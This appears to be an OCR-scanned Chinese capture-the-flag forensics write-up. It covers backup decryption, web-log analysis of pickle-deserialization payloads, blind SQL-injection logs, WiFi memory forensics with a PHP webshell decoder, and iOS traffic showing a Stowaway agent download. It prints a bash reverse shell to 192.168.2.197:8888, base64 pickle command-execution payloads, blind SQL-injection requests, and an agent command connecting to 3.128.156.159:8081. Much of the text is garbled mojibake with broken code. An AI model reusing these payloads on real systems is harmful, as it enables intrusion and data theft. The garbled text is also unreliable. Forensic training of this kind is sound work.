password:b'W31CeM3_Te@_THiS_34SY_F@OR3NSiCX', good:True, has media:False, file info:1, media info:@, multimedia«file:1, system data info:@, system
older data info:0
DUMPING FILE INFO ITEMS
: alarm, TYPE: BackupFileModuleInfo,
DUMPING MEDIA INFO ITEMS
DUMPING MULTIMEDIA FILE ITEMS
INAME: None, TYPE: Multimedia, PATH: storage\MediaTar\images\images@.tar,
DUMPING SYSTEM DATA INFO ITEMS
DUMPING SYSTEM DATA FOLDER INFO ITEMS

INFO:root:working on alarm.db

DEBUG: root:searching key [alarm] of info_type.SYSTEM_DATA

DEBUG:root:unable to get [alarm], trying on all types

DEBUG: root:decrypt info [alarm] found

INFO:root:working on [images@.tar.enc]

DEBUG: root:searching key [storage\MediaTar\images\images@.tar] of info_type.MULTIMEDIA
DEBUG: root:decrypt info [storage\MediaTar\images\images®.tar] found

INFO:root:No media folder found.

INFO:root:setting all decrypted files to read-only



https://github.com/RealityNet/kobackupdec.git
http://kobackupdec.py

AR SR KRR, Kflagh f

- v 4 « jmages * Pictures * flag v | D S BE"lag”

BH - mmexport1630152510463.png =

§ ==raies RS @ @ m W < #" A v

flag{TH4NK YOU FOR DECRYPTING MY DATA}

(AL NP
L R -

RN, AT H SRR

71
A H :

BERHNSHE_ . (WHFREEBEANS)
R -

user

WEHE, RIGETIREKISH Nuser

127.0.0.1 - - /Aug/2021 10:43:12] "GET /web.7z HTTP/1.1" 404 -

127.0,04~ - [07/Aug/2021 10:43:12] "GET /?
user=STAKcDAKMFMnd2hvYW1plwpwMQowKGewCmxwMgowKEkwCnRwMwowKGezCkkwCmRwWNAowY29zCnN5¢c3RIbQpwNQowZzUKKGexCnRSLg== HTTP/1.1" 500 -
127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /web.zip HTTP/1.1" 404 -

127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /web.tar.gz HTTP/1.1" 404 -

127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /web.tar HTTP/1.1" 404 -

127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /plus HTTP/1.1" 404 -

127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /log.txt HTTP/1.1" 404 -

7.2
A H :

REBRNME AR AEN AR



B fi# -

/Thds_IS_VERY_Import_File
baseb4fEiEfEE I SH, 19 BB Mt

STAKcDAKMFMnY2F0IC9UaDRzX01TX1ZFULL£SW1wb3 JOX0ZpMWUnCnAxC jAoZzAKbHAYC jA0STAKdHAZC jAoZzMKSTAKZHAOC jB jb3MKc312dGVtCnAlC jBnNQooZzEKdFIu

ER8  base64

10

p0

05’ cat /Thds_IS _VERY Import File
pl
0(g0
1p2
0(I0
tp3
0(g3
10

dp4
Ocos
system
pd

0gd
(el

+D

HH 7.3
A H -

FHE  utfB(unicodefE)

BEkshellfipfig D02 o GEREH"p:m D", #1n127.0.0.1:2333)

B f# -

192.168.2.197:8888
RRAEIBIRE — N5, 3 3lipAE D

STAKeDAKMPMnYmFzaCAtaSA+]1AvZGV2L3R jeC8x0TTuMTY4L jTuMTk3Lzg40DgaMDAmMS cKe DEKMChnMAD seDIKMCh JMApOc DMEMChnMwp JMApk e DQKMGNvewpzeXNOZWOKcDUKMGe 1C1 hnMQpOUi 4=

I
43

iHi3  base64 =

10
n0
05" bash —-i >& /dev/tep/192. 168. 2. 197/8888 0>&1°

pl
0(e0
1p2
0(10
tp3
0(g3
10

And

utf8(unicodefFi3)



uw
Ocos

8.SQL¥EA
BERM— A, DURBECKE T U LA, K — T

import re

from urllib.parse import unquote

file_name = "access 1.log"

pattern_string = "select%20flag%20from%20sqli.flag"

#file_name = input("HAXME, XIFOEEESGBEAERT: ")
#pattern_string = input(" B#|MFIEELF, Hilselect, flaghE: ")
flag = "'

# FTIFXAF LR ERITH

get_File = open(file_name,

r+")

get_line = get_File.readline()

while get_line:
get_Data = re.search(pattern_string, get_line)
if get_Data:
get_Data_Num = re.search(r'4[7-8][0-1]?.*", get_Data.string)
if get_Data_Num:
flag += (re.findall(r"%20=%20\"'(.+?)\"'", get_Data_Num.string))[0]
print(unquote(flag[:-1], 'utf-8"))
get_line = get_File.readline()

get_File.close()

B H iR -

KRS, HoHEEEE

8.1
A H -

REEEANSEPRAREANATFEN_ . GERRANBFE, Bli: “PHESEA"

8.2
B H -

REEEALET, RARRAaghIBEES . RENFEELR . (BANEEELERLHTEAR" Bl:

database#table#column)

B fi# -

sqli#flag#flag
BEHE, BARI

uests/2.26.0"
- [01/Sep/2021:01:46:06 +0000] "GET /index.php?id=1and if(substr((select flag from sqli.flag),A(S,‘l) ='0',1,(select table_name from information_schema.tables)) HTTP/1.1" 200 42
nacte/2 26 0"




e i

- [01/Sep/2021:01:46:06 +0000] "GET /index.php?id=1|and if(substr((select flag from sqli.flag),A{S,‘l) ="/"1,(select table_name from information_schema.tables)) HTTP/1.1" 200 42
uests/2.26.0"
- [01/5ep/2021:01:46:06 +0000] "GET /index.php?id=1 and if(substr((select flag from sqli.flag),43,1) = ", 1,(select table name from information_schema.tables)) HTTP/1.1" 200 42
uests/2.26.0"
- [01/Sep/2021:01:46:06 +0000] "GET /index.php?id=1 and if(substr((select flag from sqli-flag),43,1) = '-',1,(select table_name from information_schema.tables)) HTTP/1.1" 200 42

8.3
BH -

BE BRI E M flag F A & N
R -

flag{deddcd67-bcfd-487e-b940-1217e668c7db}
HEBE, RIS RSEEEEAEOET RN, BT — TR BHERE Rt £flag

6:02 +0000] "GET /index.php?id=1 and if(substr((select flag from sqli.flag),29,1) |= '-',1,(select table name from information schema.tables

6:02 +0000] "GET /index.php?id=1 and if(substr((select flag from sqli.flag),30,1) |= ",1,(select table name from information_schema.tables)

9.wifi
B H A -

MR4-28. &P . vmem

9.1
B H -

/NEfEupload-labs FfE KRG G347 T cat /flag, flagiBN_ . (EHABEFMHRERBLIRERS, TFEHIMNSNLES)
JR i -

flag{5db5b7b0bb74babb66e1522f3a6b1b12}

SHrvmemscfs .

olatility Foundation Volatility Framework 2.6
TNFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x86_23418, Win7SP@x86, Win7SP1x86
AS Layerl : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (E:\ffZRZEELZ\CTF\2021MEOI#R\wifi\wifi\Wifi\Windo

s 7-dde@@fa9.vmem)
PAE type : PAE
DTB : ©ex185eeeL
KDBG : @x83f3dbesL
Number of Processors : 1
Image Type (Service Pack) : ©
KPCR for CPU @ : ©x83f3ec@oL
KUSER_SHARED_DATA : @xffdfeeeeL
Image date and time : 2021-87-17 19:36:54 UTC+08000
Image local date and time : 2021-87-18 @3:36:54 10800

R mRERS, KIAwisFRIMy_Wifi

lime SOUTCE inIo Lest:
1.237124 Acknowledgement, Flags=........ Etek
1.238090 HuaweiDe 4c:55:ec Probe Response, SN=1911, FN=8, Flags=........ , BI=1@0, SSID=My Wifi Goog
1.434921 Acknowledgement, Flags=........ Motc

1.437123 Acknowledgement, Flags=........ Xian



468287 Acknowledgement, Flags=........ Motc

T

1.485290 Acknowledgement, Flags=........ Motc
1.771973 HuaweiDe_4c:55:ec Probe Response, SN=1911, FN=8, Flags=........ , BI=1@0, SSID=My Wifi GOOE
1.792670 HuaweiDe 4c:55:ec Probe Response, SN=1911, FN=@, Flags=........ , BI=180, SSID=My Wifi Goog
1.888515 HuaweiDe 4c:55:ec Probe Response, SN=1911, FN=@, Flags=........ , BI=180, SSID=My Wifi ‘Goog
-1.996865 HuaweiDe 4c:55:ec Probe Response, SN=1911, FN=@, Flags=........ , BI=180, SSID=My Wifi f6:t
2.127728 HuaweiDe 4c:55:ec Probe Response, SN=1911, FN=@, Flags=........ , BI=100, SSID=My Wifi Sher
2.234087 Acknowledgement, Flags=........ 96:1
2.254632 Acknowledgement, Flags=........ Xian
2.256336 Acknowledgement, Flags=........ Xian
2.258169 Acknowledgement, Flags=........ Xian
2.342544 Acknowledgement, Flags=........ Etek
2.346565 HuaweiDe 4c:55:ec Probe Response, SN=1911, FN=8, Flags=........ , BI=1@08, SSID=My Wifi Sher
2.350197 Acknowledgement, Flags=........ Etek
2.357578 Acknowledgement, Flags=........ Etek
.3.232570 HuaweiDe 4c:55:ec Probe Response, SN=1911, FN=@, Flags=........ , BI=180, SSID=My Wifi Lite
3.240320 HuaweiDe 4c:55:ec Probe Response, SN=1911, FN=@, Flags=........ , BI=180, SSID=My Wifi Lite
3.604076 HuaweiDe 4c:55:ec Probe Response, SN=1911, FN=@, Flags=........ , BI=100, SSID=My Wifi ITT]
3.644992 Acknowledgement, Flags=........ 96:1
3.658153 HuaweiDe 4c:55:ec Probe Response, SN=1911, FN=@, Flags=........ , BI=1@0, SSID=My Wifi ITT]

Pt BN Y bR P, Wl iy o (o e [ |

RIBESEGZ P ERMy Wifi, ZILT A zp.

My _Wifi

ram Files

T Hzpscf
volatility -f 1.vmem --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003fdc38c8 -n --dump-dir=./fileout

AR R Blpassword 2~ Z L £ H EwififiGUID. M _E# & GUIDZEinterfaces B.TH

file.None.0x88622008.My_Wifi.zip (FEfEREZ) - [E3] x
3R @S (C) TR(S) WEESE(0) HEMW(N) #EH)

B OO e 008 =
ﬁ - m 9\ N ©Q & —=
W OBEEl O =5 ik =24 [ B2 | OEFEE IE  a#EER
T~ file.None.0x8862e008.My_ Wifi.zip - ZIP B304, BEEIV/INH 671 1

S

R i EEEAN 25 {EpzETE password is Network Adapter GUID

5] FEERERER- My WiL.. 671 350 XML FSTH 2021/7/18 2:55

XFE I comig S FAF R AEEM R F . FATH] LAEE F volatility # finterfaces 25 € iz, 52GUID, {529B7D2A-05D1-4F21-A001-
8F4FF817FC3A}.




(] GUY
icrosofti\WlansvchProfilesh
Px000000003fa921c8 2 1 R—rwd “Device\HarddiskVolumel\ProgramData'M
icrosoft\Wlansvch\Profiles) \{529B7D2A-05D1-4F21-A0@1-8F4FFB17FC3A}
2=x000000003fdaBbes 2 1 R—rwd “Device\HarddiskVolumel\ProgramData'\M
icrosofti\WlansvchProfilesh

B EWIfiZi5233@114514_qwe, 7T LAF SRARE 25 7 S N 2% R &

<? version="1.0"?>
< xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
>My Wifi</ >
>

>4D795F57696669</
>My Wifi</ >

>ESS</
>auto</

>WPA2PSK</
>AES</
>false</
>

>passPhrase</ >
>false</ >
>233@114514_qwe</

kali@kali: ~/$LE
e imiE EE EH

{ )-[~/3TH ]

—% airdecap-ng l.cap My Wifi 2330114514 _qwe
Total number of stations seen 6
Total number of packets read 8640
Total number of WEP data packets 4]
Total number of WPA data packets 1363
Number of plaintext data packets

Number of decrypted WEP packets

Number of corrupted WEP packets

Nuniber of decrypted WPA packets

Number of bad TKIP (WPA) packets

Number of bad CCMP (WPA) packets

XEFHR—NRELXY, THRER, FHHTTPX M.

WpassHIMEME, Jurlf@®, Hbaseb4ff®, BRI, AW NI RE. M5 Exor_basebd. MEFHILZ
$pass='key’;

$key="3c6e0b8a9c15224a’;

X BH AR A

function encode




for =0 <strlen ++

= +1&15
= A
return
="key"
="'payload"
='3c6e0b8a9cl5224a"

echo gzdecode(encode(base64_decode('iiE"
?>

5 Zlflag

iName="payload';
3c6e@b8a9c152243";

echo gzdecode(encode(base64 decode('fL1tMGI4YT1jMn75e3j0BS5/V31Qd1NxKQMCe3h4KwFQFVAEVW

AE
[Running] php "¢ e 21] M\wifi\wifi\Wifi\test.php"
flag{5db5b7b@bb74babb66e1522f3a6b1b12}

[Done] exited with code=@ in ©.123 seconds

10.i0S
B
—frios&AFR ALK T HAFHBMER, FMUBHHEERWHTET, WRBLREMH SRS

10.1

AH :
BEFHHIHCSCIRESBIPR__.

AR -

3.128.156.159

B Hraccess.logXXff, RILEAR T A—ATERD . REMBEA 2T . B)5KIkeylog.tet A3t E BT RSAME BT 76 K 4,
FTNE

BEEREN, RESHTAKHTTP M



gt g Ty g P L B PR 8 b — w1y

ey

=aqaar

Sy v g ey v g —_——y Crmerayr g

Open Ctrl+0 E ¢
Open Recent L
BFF(M)... ‘
M Hex ZAESA()... 12
Close Ctrl+W =
FE=(S) Ctrl+S 06.142
BEAA).. Ctrl+Shift+S
THES B

2.133
ENEESE.. 2.132

SHOEBITER ’
ESHSEFTRB)... Ctrl+Shift+X
S PDU Fizzit...

S TLS &1F=5H...

S 4 DICOM...

FTEN(P).. Ctrl+P HTTP.
IMF...

Ethernet II, Src: ASUSTekC 9: TETP..

Info
54915 -» 54915 Len=263
12476 » 12476 Len=38

Standard query ©x©e8@ SRV ncm..
:cdb2:45e8.. Standard query ©x8@8@ SRV ncm..

54915 » 54915 Len=263
443 » 54864 [ACK]
443 » 54860 [ACK]

unseen

unseen segment] 54.

443 > 54877 [ACK]
[ T¢ CKed ur
54915 » 54915 Len=263

DHCP Discover - Transaction I..

—aoua cAancar

Seq=1 Ack=1..
Seq=1 Ack=1..

Destination
192.168.1.255
2550550 555G
224.0.0.251
ffe2::th
192.168.1.255
192.168.1.8
192.168.1.8
220.195.22.
220.195.22.132

192.168.1.8

192.168.1.255

2552055 055055

P P R

@5 bytes captured (2448 bits)

d:fb:92:97:66), Dst: Broadcast (ff:ff:ff:ff:ff:ff

Internet Protocol Version 4, SFcy 192.168.1.12, Dst: 192.168.1.255
User Datagram Protocol, Src Port: 54915, Dst Port: 54915

v Data (263 bytes)

BEXM, RWT —Aos_agentZ#. &AH % #Egithub.comfl—Nip.

™ object12032
[ object12192
[™ object12348
[ object12492
[ object12627
™ object12755 &
03 object12896 testiphonex:~ root#
™ object13031
[ object13150
[ object13277
[™ object13411
[ object13541
™ object13674
[ object13791
[™ object13838
[ object260
[ object262
[™ object290
™ object7961
™ object8101
™ object8519
[™ object8682
[ object8760
[ object8304
[™ objecta024
™ object9152

RN E R K2 H 7T+ # Rios_agentZ .

HE) WEE) RN BEG WERC) SA) SHIHS) BEY) RS0 TRO FEEH)

100% 433K=11s

2021-88-29 01:53:35 (368 KB/s) - 'ios_agent| saved [4061072/4061072]

AN 2@ RE Qes=7sCEHaaam
A X]
SEFTE v BE v | O ERAS FHER | [ios_agent 1= B
Ho. Tine Source Info Destination Protocol Length
262 37.000000 192.168.1.8 55704 » 808@ [PSH, ACK] Seq=2.. 3.128.156.159 ICP 8¢
263 37.000000 3.128.156.159 8080 > 55704 [ACK] Seg=4 Ack=.. 192.168.1.8 Tce 6€
264 37.000000 192.168.1.8 55704 > 8080 [PSH, ACK] Seq=4.. 3.128.156.159 iTCP 8€
265 37.000000 192.168.1.12 54915 -» 54915 Len=263 192.168.1.255 upp 305
266 37.000000 3.128.156.159 8080 > 55704 [ACK] Seg=4 Ack=.. 192.168.1.8 Tce 6€
267 38.000000 ©.0.0.0 DHCP Discover - Transaction I.. 255.255.255.255 DHCP 342
268 38.000000 192.168.1.12 54915 -» 54915 Len=263 192.168.1.255 upp 305
269 39.000000 192.168.1.12 54915 » 54915 Len=263 192.168.1.255 upp 3es
H492C -3 UDP 13¢
192. [
192.168.1.12 54915 » 54915 Len=263 192.168.1.255 upp 3es
273 41.000000 3.128.156.159 8080 » 55704 [PSH, ACK] Seq=4.. 192.168.1.8 MGE: 16%
274 41.000000 192.168.1.8 55704 » 8080 [ACK] Seq=63 Ack.. 3.128.156.159 ACE: 6€

Frame 273: 165 bytes on wire (1320 bits), 165 bytes captured (1320 bits)

Ethernet II, Src: zte 55:c5:da (f8:64:b8:55:c5:da), Dst: Apple 88:59:7a (9c:e3:3f:88:59:7a)

Internet Protocol Vversion 4, Src: 3.128.156.159, Dst: 192.168.1.8

Transmission Control Protocol, Src Port: 8080, Dst Port: 55704, Seq: 4, Ack: 63, Len: 99

+ T

v Hypertext Fransfer Protocol



wgrt NTTPS://GLTNUD. COM/PN4ANTONN/ >STOWaway/releases/aownioaa/1.0.4/10S_agent &k cnmod /5> 10S_agent\n

3f 88 59 7a f8 64 b8 55 c5 da @8 @@ 45 0@ --2vzed -U E=
81 d8 40 06 dc 06 ba b8 03 80 9c 9f o a8 ol e J
1f 90 do 98 1f a2 3a 7e c9 50 14 be 8o 18 RELERE S e

54 9b @0 00 01 @1 @8 0a ae 62 94 e8 ob 9b o .
77 67 65 74 20 68 74 74 7@ 73 3a 2f 2f 67  -Guget h ttps://g
68 75 62 2e 63 6f 6d 2f 70 68 34 6e 74 6f ithub.co m/ph4nto
2f 53 74 6f 77 61 77 61 79 2f 72 65 6C 65 nn/Stowa way/rele
65 73 2f 64 6f 77 6e 6¢c 6f 61 64 2f 31 2e ases/dow nload/1.

eose 36 2¢ 32 2f BIGEEIGICRTRTRTIE 20 26 26 6.2/ FENETN 8&

6d 6f 64 20 37 35 35 20 69 6f 73 5f 61 chmod 7 55 ios_a
74 @a gent-

RIGIBEFTCPIE, RIMBEE LT TIs, )5 Maithub EHAT Twget F#Rios_agent R F7778R, A )5#h4Tios_agentdn 4.

T e —

testiphonex:~ root# ls

Library

Media

key.key

testiphonex:~ root# wget https://github.com/phantonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent

--2021-08-29 @1:52:11-- https://github.com/phantonn/Stowaway/releases/download/1.6.2/ios_agent

Resolving github.com... 13.250.177.223

Connecting to github.com|13.250.177.223]:443... connected.

HTTP request sent, awaiting response... 302 Found

Location: https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA2568X-Amz -
credential=AKIAIWNIYAX4CSVEH53A%2F20210828%2Fus-east-1%2Fs3%2Faws4_requestéX-Amz-Date=20210828T175321Z8X-Amz-Expires=3008&X-Amz-
Signature=adfsss2dazalee47792141242fd447b13319f0c33b84celcae4dadsoabss8b698X-Amz-signedHeaders=host&actor id-e&key id-e&repo_id=221836131&response-content-
disposition=attachment%3s%26filename¥%3Dios_agent&response-content-type=application%2Foctet-stream [following]

--2021-08-29 01:53:22-- https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=ANS4-HMAC-SHA256&X-Amz -
Credential=AKIAIWNIYAXACSVEHS3A%2F20210828%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210828T17532178X-Amz -EXpires=300&X-Amz -
Signature=adf5852da7ale@47792141242fd447b13319f0c33b84c01c404dad894b858b69&X -Amz -SignedHeaders=host&actor_id=0&key id=6&repo_id=221836131&response-content-
disposition=attachment%3B%208filename%3Dios_agent&response-content-type=application%2Foctet-stream

Resolving github-releases.githubusercontent.com... 2606:50c@:8001::154, 2606:50c0:8003::154, 2606:50c0:8002::154,

Connecting to github-releases.githubusercontent.com|2606:50c0:8001::154|:443... connected.

HTTP request sent, awaiting response... 200 OK

Length: 4061072 (3.9M) [application/octet-stream]

saving to: 'ios_agent’

(13 Somemtmenin Silpmtt el it e e e 1% 337K 125

2021-08-29 01:53:35 (368 KB/s) - 'ios agent' saved [4061072/4061072]

testiphonex:~ root# ./ios agent -c 3.128.156.159:8081 -s hack4sec
2021/@8/28 17:53:50 [*] Starting agent node actively.Connecting to 3.128.156.159:8081

BB G PATHIX AL, RATTUES], REEHHCACHRS#3ip~3.128.156.159
10.2
A H -

BEMAKGIthub RSB ZFR_ . (WAEFEHEEERNS)
7B i -

stowaway
T E—RhFEFEE.

HE) ®EE) RN BEG WERC) SA) SHIHS) BEY) RS0 TRO EEH)

Am31@ S EaaaE

A X
AEFTR v BE v | O EAAE FIER | [ios_agent [ &m ] B

Ho. Tine Source Info Destination Protocol Length
262 37.000000 192.168.1.8 55704 » 808@ [PSH, ACK] Seg= 3.128.156.159 LGP 8¢
263 37.000000 3.128.156.159 8080 > 55704 [ACK] Seq=4 Ack 192.168.1.8 Tce 6€
264 37.000000 192.168.1.8 55704 > 80806 [PSH, ACK] Seq=4.. 3.128.156.159 TCP 8€
265 37.000000 192.168.1.12 54915 » 54915 Len=263 192.168.1.255 upp 3e5
266 37.000000 3.128.156.159 8080 > 55704 [ACK] Seg=4 Ack=.. 192.168.1.8 Tce 6€
267 38.000000 ©.0.0.0 DHCP Discover - Transaction I. 255.255.255.255 DHCP 343
268 38.000000 192.168.1.12 54915 » 54915 Len=263 192.168.1.255 upp 3e5
269 39.000000 192.168.1.12 54915 » 54915 192.168.1.255 upp 305
270 40.000000 192.168.1.3 12476 » 12476 255.255.255.255 UDP 13¢
272 40.000000 192.168.1.12 54915 » 54915 .168.1.255 upp e
273 41.000000 3.128.156.159 8080 » 55704 [PSH, ACK] Seg=4.. .168.1.8 NGE 16t
274 41.000000 192.168.1.8 55704 » 8080 [ACK] Seg=63 Ack.. 3.128.156.159 ACE: 6€

Frame 273: 165 bytes on wire (1320 bits), 165 bytes captured (1320 bits)

Ethernet II, Src: zte 55:c5:da (f8:64:b8:55:c5:da), Dst: Apple 88:59:7a (9c:e3:3f:88:59:7a)
Internet Protocol version 4, Src: 3.128.156.159, Dst: 192.168.1.8

Transmission Control Protocol, Src Port: 8080, Dst Port: 55704, Seq: 4, Ack: 63, Len: 99

v Hypentext TransferProtocol
wg%t https://github.com/phantonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent\n




e3 3t 88 59 7a t8 64 b8 55 C5 da 98 00 45 @0 - -7-YZ-d ‘U----E-
97 81 d8 40 @0 dc @6 ba bs @3 80 9c 9f co a8 R

08 1f 90 d9 98 1f a2 3a 7e 9 5@ 14 be 80 18 - -- :
d2 54 9b @0 @0 @1 @1 ©8 9a ae 62 94 e8 Ob 9b Teeres ceibees

47 77 67 65 74 20 68 74 74 70 73 3a 2f 2f 67  -Gwget h ttps://g
74 68 75 62 2e 63 6f 6d 2f 70 638 34 6e 74 6f  ithub.co m/phanto
6e 2f 53 74 6f 77 61 77 61 79 2f 72 65 6¢c 65 nn/Stowa way/rele
73 65 73 2f 64 6f 77 6e 6c 6f 61 64 2f 31 2e  ases/dow nload/1.
o080 36 2e 32 2f 20 26 26 6.2/ &&
63 68 6d 6f 64 20 37 35 35 20 69 6f 73 5f 61  chmod 7 55 ios_a
65 6e 74 @a gent-

10.3
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hack4sec
10 AP PAT LS XFZRAITUES], -sFHERKISE R INEZH.
2021-08-29 ©1:53:35 (368 KB/s) - 'ios agent' saved [4061072/4061072]

testiphonex:~ root# ./ios agent -c 3.128.156.159:80881 -s hack4sec
2021/@8/28 17:53:50 [*] Starting agent node actively.Connecting to 3.128.156.159:8081

10.4
A H -

BEETSAEERH T MBS, WER__.
R -

746558f3-c841-456b-85d7-d6c0f2edabb2

FEMRZhttpthill, EFtp2 RWAFTESQUEN, BEG—MBR)FHERE, <7F2—uuidE.

A FAETLSING U 2 7 2 B AT AR, 230 Y8805 I httpsil sl (E FISSL/TLS MY . M ZIAA IRF2H_FEH, A RBEIH T
RN %4, SR)E BB K30E .

BANIFESATLSH T & Hikeylog Xt ft. RERLF AEFhttp2, thEi2httpsthil 1.

NEREETREE ~ Cul D

Ho. Tine Source Info Destination Protocol Length
17340 141.000000 157.255.77.209 443 > 55026 [ACK] Seq=97 Ack=.. 192.168.1.8 TCP
17341 141.000000 157.255.77.209 443 > 55026 [ACK] Seq=1497 Ac.. 192.168.1.8 TCP
17342 141 .000000 192.168.1.8 55026 > 443 [ACK] Seq=518 Ack.. 157.255.77.2089 TCcP
17343 141.000000 192.168.1.8 [TcP window Update] 55026 » 4.. 157.255.77.209 TCP
17344 141 .000000 A5/ & o
17345 141.000000 192 .1 M Wireshark - &5 %
17346 141.000000 157.2
17347 141.000000 157.4 TEE | Transport Layer Security
17348 141.0600000 192. 1E:ad RSA keys list Edite
17349 141.000000  192. Thrift LS debug file
17350 141.000000 192 Tibia ‘ pe—

TIME " =

TivoConnect [“] Reassenble TLS Application Data spamning multiple TLS records
Frame 17375: 112 bytes on TLS [ Message Authentication Code (MAC), ignore “mac failed”
Ethernet II, Src: zte_55: TNS Frrshareﬂey| ‘
Internet Protocol Version Token-Ring () el et
Transmission Control Prot TPCP e

G T TEKT F\CTF\ 2021 BE&IFT v os\ios\keylog. txt] [ Browse= |
./ios_agent -c 3.128.19% TRNIZ0

TPNCP

TRANSUM

TSDNS

SE

TTE i

0K Cancel Help

9c e3 3f 88 59 7a f8
@0 62 82 @c 40 @0 dc @6 ba b9 @3 80 9c 9f O a8 B~ B
01 o8 1f 90 do 98 1f a2 3a el ¢9 50 33 3d 80 18 - - - - feeP3=--
@93 12 71 41 @0 @0 @1 @1 @8 0a ae 64 1b 73 @b od seghress sredese
33 7c 2e 2f 69 6f 73 5f 61 67 65 6e 74 20 2d 63  3|./ios_ agent -c
20 33 2e 31 32 2e 31 35 36 2e 31 35 39 3a 38 3.12@.1 56.159:8
30 38 31 20 2d 73 20 68 61 63 6b 34 73 65 63 @a 081 -s h ackdsec-

RIEHE Rselect, BATLLRI S HselectiiBa). BB i FEIRsqERIBIR], &J5hexiE—TF

2.108.1.8 HEAUERS[3/Y]: GEI /info¢I="180=(case_when_(select_hex(substr(password,1Y,1))_from_user)="2D"_then_id_else_coll_end), WINDUW_UFL



7

2.168.1.8

7

2.168.1.8

7

2.168.1.8

7

2.168.1.8

7

2.168.1.8

7

2.168.1.8

8

2.168.1.8

7

2.168.1.8

7

2.168.1.8

7

2.168.1.8

7

2.168.1.8

8
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HEADERS[381]:

HEADERS[383]:

HEADERS[385]:

HEADERS[387]:

HEADERS[389]:

HEADERS[391]:

HEADERS[393]:

HEADERS[395]:

HEADERS[397]:

HEADERS[399]:

HEADERS[401]:

GET /info?|=1&0=(case when (select hex(substr(password,20,1)) from user)="2B" then id else col1 end), WINDOW UPLC
GET /info?|=1&0=(case when (select hex(substr(password,20,1)) from user)="2D" then id else col1 end), WINDOW UPL
GET /info?|=1&0=(case when (select hex(substr(password,20,1)) from user)="7B" then id else col1 end), WINDOW UPLC
GET /info?l=18&0=(case_when_(select_hex(substr(password,20,1)) from_user)="7D"_then id _else col1_end), WINDOW_UPL
GET /info?|=18&0=(case when (select hex(substr(password,20,1)) from user)="30" then id else col1 end), WINDOW UPD
GET /info?|=1&0=(case when (select hex(substr(password,20,1)) from user)="31" then id else col1 end), WINDOW UPD
GET /info?|=1&0=(case_when_(select_hex(substr(password,20,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPD
GET /info?l=18&0=(case_when_(select_hex(substr(password,20,1)) from_user)="33"_then _id_else col1_end), WINDOW_UPD
GET /info?|=18&0=(case when (select hex(substr(password,20,1)) from user)="34" then id else col1 end), WINDOW UPD
GET /info?|=1&0=(case when (select hex(substr(password,20,1)) from user)="35" then id else col1 end), WINDOW UPD

GET /info?l=1&0=(case_when_(select_hex(substr(password,20,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPD

BEROAHOERBEER__ . GERER TR D-4RE 07, F101-65535)
R -

10-499

Sy A R Blrstif SCRUES R D5 1, BATTIT L5115 Bk Elrst. 57 LLEBIRM10TT 44994531 .

WME(V) BEER(G) HER(C) oiT(A) SiH(S) HEiE(Y) AEEW) TE(T) FHEIH)

R Q =8 Display Filters...
BRITESEAM)...
= X Display Filter Expression...
e Source A7 Ctrl+Shift+l
'9.000000  192.168.1 VeSS ESE R B » fo?l1=180=%28case when }
'9.000000 192.168.1 EEITERE » fo?l1=180=%28case when }
'0.000000  192.168.1 FhEESE » fo?l1=180=%28case when }
"1.000000  192.168.1 R Ctrl+Shift+E _0?l=1&0=%28ca5e_when_5
"1.000000  192.168.1 BESH(A)... _0?l=1&0=%28ca5e_when_5
"1.000000  192.168.1 B3\ Lua fE Ctrl+Shift+L  1° ?1=18&0=%28case when ;
ogeeee 124.161.3] ATE[ @]
000000 124.161.3]  SCIP ;
200000 124.161.3  1BEE * [A[1], DATA[1], DATA[1
000000  124.161.3 s sEse.. Ctrl+shifts0  [A[3] [TCP segment of
000000 124.161.3] xR 3] [TCP segment of a1
ogeege 124.161.37749 DATAT3T]

X

kY




M Wireshark - 358 - triffic.pcap

-

i 1

Note
Note
Note
Note
Note
Note

Y R Y Y A Y i I R AR AL " AR VR ¥ v

69669
69796
69875

69899
69913
69927
69943
69956
AA9RT

80299
80310
80324
80338
80350
80363
80375

B’E

Warning DNS response retransmission. Original response ... Protocol
Warning Ignored Unknown Record Protocol
Warning DNS response retransmission. Original response ... Protocol
Warning DNS query retransmission. Original request in fra... Protocol
Warning Previous segment(s) not captured (common at c... Sequence
Warning lllegal characters found in header name Protocol
Warning This frame is a (suspected) out-of-order segment Sequence
warng | Comcion e 0 Secs
Warning DNS query retransmission. Original request in fra... Protocol
Warning ACKed segment that wasn't captured (common ... Sequence
Note ACK to a TCP keep-alive segment Sequence
Note TCP keep-alive segment Sequence
Note HTTP body subdissector failed, trying heuristic s... Malformed

The acknowledgment number field is nonzero w... Protocol

This session reuses previously negotiated keys (S... Sequence
This frame is a (suspected) fast retransmission Sequence
Duplicate ACK (#1) Sequence
This frame is a (suspected) spurious retransmission Sequence
This frame is a (suspected) retransmission Sequence

443 — 55178 [RST] Seq=205493 Win=0 Len=0
55140 — 443 [RST, ACK] Seq=4922 Ack=106173 Win=262144 Len=0
55187 — 443 [RST, ACK] Seq=4320 Ack=10807700 Win=2086400 L...

69885 10 — 55719 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0

O{RST, ACK] Seq=1 Ack=1 Win=0 Len=0
12 — 55721 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
13 — 55722 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
14 — 55723 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
15 — 55724 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
1A — 55725 IRST ACKI Sen=1 Ack=1 Win=01en=0

492 — 56202 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
